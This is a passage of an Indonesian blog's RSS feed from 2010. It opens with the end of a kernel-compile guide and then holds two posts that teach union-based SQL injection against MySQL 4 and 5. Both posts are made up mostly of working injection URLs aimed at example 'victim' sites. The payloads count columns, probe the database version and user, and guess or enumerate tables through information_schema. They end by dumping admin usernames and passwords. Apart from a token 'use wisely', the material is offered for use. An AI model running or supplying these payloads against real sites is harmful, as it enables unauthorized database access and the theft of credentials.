<p>pastikan ada kernel baru dengan nama paket linux-image-2.6.25-custom_2.6.25_custom-10.00.Custom_i386.deb dan linux-headers-2.6.25-custom_2.6.25-custom-10.00.Custom_i386.deb. Lakukan instalasi:<br />Code:</p>
<p># dpkg -i linux-image-2.6.25-custom_2.6.25_custom-10.00.Custom_i386.deb<br /># dpkg -i linux-headers-2.6.25-custom_2.6.25-custom-10.00.Custom_i386.deb</p>
<p>9. Lakukan reboot dan pilih kernel baru.<br />Code:</p>
<p># shutdown -r now</p>
<p>atau<br />Code:</p>
<p># init 6</p>
<p>Ref : <a href="http://annotes.wordpress.com/2010/03/11/compile-kernel/">http://annotes.wordpress.com/2010/03/11/compile-kernel/</a></p>
</div>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wakemeat.wordpress.com/87/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wakemeat.wordpress.com/87/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wakemeat.wordpress.com/87/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wakemeat.wordpress.com/87/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wakemeat.wordpress.com/87/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wakemeat.wordpress.com/87/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wakemeat.wordpress.com/87/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wakemeat.wordpress.com/87/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wakemeat.wordpress.com/87/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wakemeat.wordpress.com/87/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wakemeat.wordpress.com/87/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wakemeat.wordpress.com/87/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wakemeat.wordpress.com/87/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wakemeat.wordpress.com/87/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=87&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wakemeat.wordpress.com/2010/03/12/kompilasi-kernel-cara-lain/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/938b6c163b3e5d8d2df542200a26ba89?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">em44y</media:title>
		</media:content>

		<media:content url="http://s.wordpress.com/wp-includes/images/smilies/icon_razz.gif" medium="image">
			<media:title type="html">:P</media:title>
		</media:content>
	</item>
		<item>
		<title>SQL Injection Versi MySQL 4</title>
		<link>http://wakemeat.wordpress.com/2010/03/12/sql-injection-versi-mysql-4/</link>
		<comments>http://wakemeat.wordpress.com/2010/03/12/sql-injection-versi-mysql-4/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 17:54:45 +0000</pubDate>
		<dc:creator>em44y</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://wakemeat.wordpress.com/2010/03/12/sql-injection-versi-mysql-4/</guid>
		<description><![CDATA[teknik sql injection di mysql versi 4 dan 5 sangat berbeda, di versi 5 kita menggunakan information schema untuk melihat isi table dalam database, di versi 4 kita cuma bisa menebak-nebak table yang kira-kira ada didalam database. contoh gini 1. cek vulner dengan menambahkan (&#8216;) diakhir url http://www.mampus.com/news.php?id=5&#8242; jika muncul error,ada kemungkinan web ini vulner [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=86&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div class="entry">
<div class="snap_preview">
<p>teknik sql injection di mysql versi 4 dan 5 sangat berbeda, di versi 5 kita menggunakan information schema untuk melihat isi table dalam database, di versi 4 kita cuma bisa menebak-nebak table yang kira-kira ada didalam database. contoh gini</p>
<p>1. cek vulner dengan menambahkan (&lsquo;) diakhir url</p>
<p>http://www.mampus.com/news.php?id=5&prime;</p>
<p>jika muncul error,ada kemungkinan web ini vulner buat di injek <img class="wp-smiley" alt=":D" src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" /> </p>
<p>2. temukan jumlah kolom (angka ajaib)</p>
<p>http://www.mampus.com/news.php?id=5 order by 1/* &lt;&ndash; no error</p>
<p>http://www.mampus.com/news.php?id=5 order by 2/* &lt;&ndash; no error</p>
<p>http://www.mampus.com/news.php?id=5 order by 3/* &lt;&ndash; no error</p>
<p>http://www.mampus.com/news.php?id=5 order by 4/* &lt;&ndash; error</p>
<p>berarti jumlah kolomnya ada 3</p>
<p>3. cek fungsi union<br />http://www.mampus.com/news.php?id=5 union all select 1,2,3/*</p>
<p>jika muncul angka di web seperti 1,2,3 berarti fungsi union udah jalan <img class="wp-smiley" alt=":)" src="http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif" /> </p>
<p>4. cek versi, database, user</p>
<p>misal setelah memakai fungsi union keluar angka 1 dan 3, berarti itu angka yang bisa kita explore dan bisa diganti dengan<br />version() -&gt; untuk melihat versi mysql<br />database() -&gt; untuk melihat nama database<br />user() -&gt; untuk melihat nama user</p>
<p>ex:<br />misal angka yang keluar di web setelah memakai fungsi union keluar 1 dan 3, kita pilih angka 1 buat diexplore.</p>
<p>it should look like this http://www.mampus.com/news.php?id=5 union all select version(),2,3/*</p>
<p>dan akan mendapatkan hasil seperti ini 4.1.33-log atau 5.0.45, itu adalah versi dari mysqlnya..<br />disini akan dibahas mengenai versi 4, untuk yang versi 5 baca aja postingan sebelum ini disini.</p>
<p>5. mencari table dan kolom</p>
<p>kita hanya bisa menebak kira-kira table apa yang ada didatabase, yang umum digunakan</p>
<p>table names: user/s, admin/s, member/s &hellip;</p>
<p>column names: username, user, usr, user_name, password, pass, passwd, pwd dll&hellip;</p>
<p>6. coba keberuntungan <img class="wp-smiley" alt=":D" src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" /> </p>
<p>cek table admin ada or not di database dengan perintah seperti ini dengan mengexplore angka 1 tadi</p>
<p>http://www.mampus.com/news.php?id=5 union all select 1,2,3 from admin/*</p>
<p>jika muncul angka ajaib seperti perintah union tadi, berarti table admin exists!!<br />jika tidak muncul cari table yang lain misal user/s, member/s,author/s dll pokoknya ampe ketemu dech! <img class="wp-smiley" alt=":D" src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" /> </p>
<p>lanjut! tadikan table admin udah ada nich, selanjutnya tinggal cari kolomnya</p>
<p>http://www.mampus.com/news.php?id=5 union all select username,2,3 from admin/*</p>
<p>jika muncul angka ajaib seperti perintah union tadi, berarti kolom username di table admin ada!<br />misal ga muncul cari kemungkinan yang lain misal user,usr dll</p>
<p>kolom username dah ketemu, selanjutnya cek kolom password</p>
<p>http://www.mampus.com/news.php?id=5 union all select password,2,3 from admin/*</p>
<p>jika muncul angka ajaib seperti perintah union tadi, berarti kolom password di table admin ada!<br />misal ga muncul cari kemungkinan yang lain misal pass dll</p>
<p>kolom username dan password telah ditemukan di table admin, tinggal finishing dech, misal passwordnya ga diencrypt syukur, misal diencrypt tinggal decrypt aja..</p>
<p>http://www.mampus.com/news.php?id=5 union all select concat(username,0&times;3a,password),2,3 from admin/*</p>
<p>ket: 0&times;3a adalah bentuk hexa dari :</p>
<p>huh.. udah mau jam 7 pagi mo kuliah dulu yach, ntar telat ga boleh masuk ma dosennya.. hiks hiks&hellip; T.T<br />sekian dulu aja, maaf misal klo salah coz saya masih pemula banget (masih pemula ngasih tutor??##), levelnya dibawah pemula dech!<br />disini cuma share pengalaman aja <img class="wp-smiley" alt=":D" src="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" /> coz kita tidak berhak menyembunyikan suatu ilmu, karena kita dapat ilmu itu juga bukan karena kita sendiri.. udah ah! cabut dulu&hellip;</p>
</div>
</div>
<p>Ref <a href="http://annotes.wordpress.com/2010/03/11/sql-injection-versi-mysql-4/">http://annotes.wordpress.com/2010/03/11/sql-injection-versi-mysql-4/</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wakemeat.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wakemeat.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wakemeat.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wakemeat.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wakemeat.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wakemeat.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wakemeat.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wakemeat.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wakemeat.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wakemeat.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wakemeat.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wakemeat.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wakemeat.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wakemeat.wordpress.com/86/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=86&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wakemeat.wordpress.com/2010/03/12/sql-injection-versi-mysql-4/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/938b6c163b3e5d8d2df542200a26ba89?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">em44y</media:title>
		</media:content>

		<media:content url="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" medium="image">
			<media:title type="html">:D</media:title>
		</media:content>

		<media:content url="http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif" medium="image">
			<media:title type="html">:)</media:title>
		</media:content>

		<media:content url="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" medium="image">
			<media:title type="html">:D</media:title>
		</media:content>

		<media:content url="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" medium="image">
			<media:title type="html">:D</media:title>
		</media:content>

		<media:content url="http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif" medium="image">
			<media:title type="html">:D</media:title>
		</media:content>
	</item>
		<item>
		<title>SQL Injection Versi 5 MySQL</title>
		<link>http://wakemeat.wordpress.com/2010/03/12/sql-injection-versi-5-mysql/</link>
		<comments>http://wakemeat.wordpress.com/2010/03/12/sql-injection-versi-5-mysql/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 17:53:27 +0000</pubDate>
		<dc:creator>em44y</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://wakemeat.wordpress.com/2010/03/12/sql-injection-versi-5-mysql/</guid>
		<description><![CDATA[hanya sekedar Info, gunakan secara bijak &#160; ## test-vulner= http://korban.com/injek/index.php?id=4� (muncul error=maybe vulner) ## angka ajaib= http://korban.com/injek/index.php?id=4+order+by+4&#8211; (angka 4 bisa diganti sampai muncul error, misal 6 error berarti cuma nyampai 5) http://korban.com/injek/index.php?id=-4+union+select+1,2,3,4,5&#8211; (mencari angka ajaib) http://korban.com/injek/index.php?id=-4+union+select+1,concat(user(),0&#215;3a,database()),version(),4,5&#8211; (angka ajaib bisa diganti:database(),user(),version()) ## table= http://korban.com/injek/index.php?id=-4+union+select+1,2,group_concat(table_name),4,5 +from+information_schema.tables+where+table_schema=database()&#8211; (angka ajaib ganti dengan: group_concat(table_name) dan diakhir tambahin:+from+information_schema.tables+where+table_schema=database()&#8211;) ## kolom= http://korban.com/injek/index.php?id=-4+union+select+1,2,group_concat(column_name),4,5 [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=85&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div class="entry">
<div class="snap_preview">
<p>hanya sekedar Info, gunakan secara bijak </p>
<p><span id="more-85"></span></p>
<p>&nbsp;</p>
<p>## test-vulner=</p>
<p>http://korban.com/injek/index.php?id=4�</p>
<p>(muncul error=maybe vulner)</p>
<p>## angka ajaib=</p>
<p>http://korban.com/injek/index.php?id=4+order+by+4&ndash;</p>
<p>(angka 4 bisa diganti sampai muncul error, misal 6 error berarti cuma nyampai 5)</p>
<p>http://korban.com/injek/index.php?id=-4+union+select+1,2,3,4,5&ndash;</p>
<p>(mencari angka ajaib)</p>
<p>http://korban.com/injek/index.php?id=-4+union+select+1,concat(user(),0&times;3a,database()),version(),4,5&ndash;</p>
<p>(angka ajaib bisa diganti:database(),user(),version())</p>
<p>## table=</p>
<p>http://korban.com/injek/index.php?id=-4+union+select+1,2,group_concat(table_name),4,5</p>
<p>+from+information_schema.tables+where+table_schema=database()&ndash;</p>
<p>(angka ajaib ganti dengan: group_concat(table_name) dan diakhir tambahin:+from+information_schema.tables+where+table_schema=database()&ndash;)</p>
<p>## kolom=</p>
<p>http://korban.com/injek/index.php?id=-4+union+select+1,2,group_concat(column_name),4,5</p>
<p>+from+information_schema.columns+where+table_name=0&times;7461626c655f75736572&ndash;</p>
<p>(7461626c655f75736572=hexa dari nama tabel yang anda temukan)<br />(situs konversi:www.string-functions.com/string-hex.aspx)</p>
<p>## finishing=</p>
<p>http://korban.com/injek/index.php?id=-4+union+select+1,2,group_concat(user_id,0&times;3a,password_id),4,5</p>
<p>+from+table_user</p>
<p>(table_user= tergantung nama table yang kalian temukan)</p>
<p>Moga kalian paham dengan penjelasan diatas, klo kalian ga paham&hellip; email me atau googling lagi yach!! semangat buat belajar&hellip;hehehehehe</p>
<p>Ref <a href="http://annotes.wordpress.com/2010/03/11/sql-injection-versi-5-mysql/">http://annotes.wordpress.com/2010/03/11/sql-injection-versi-5-mysql/</a></p>
</div>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wakemeat.wordpress.com/85/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wakemeat.wordpress.com/85/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wakemeat.wordpress.com/85/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wakemeat.wordpress.com/85/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wakemeat.wordpress.com/85/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wakemeat.wordpress.com/85/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wakemeat.wordpress.com/85/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wakemeat.wordpress.com/85/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wakemeat.wordpress.com/85/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wakemeat.wordpress.com/85/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wakemeat.wordpress.com/85/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wakemeat.wordpress.com/85/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wakemeat.wordpress.com/85/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wakemeat.wordpress.com/85/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=85&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wakemeat.wordpress.com/2010/03/12/sql-injection-versi-5-mysql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/938b6c163b3e5d8d2df542200a26ba89?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">em44y</media:title>
		</media:content>
	</item>
	</channel>
</rss>
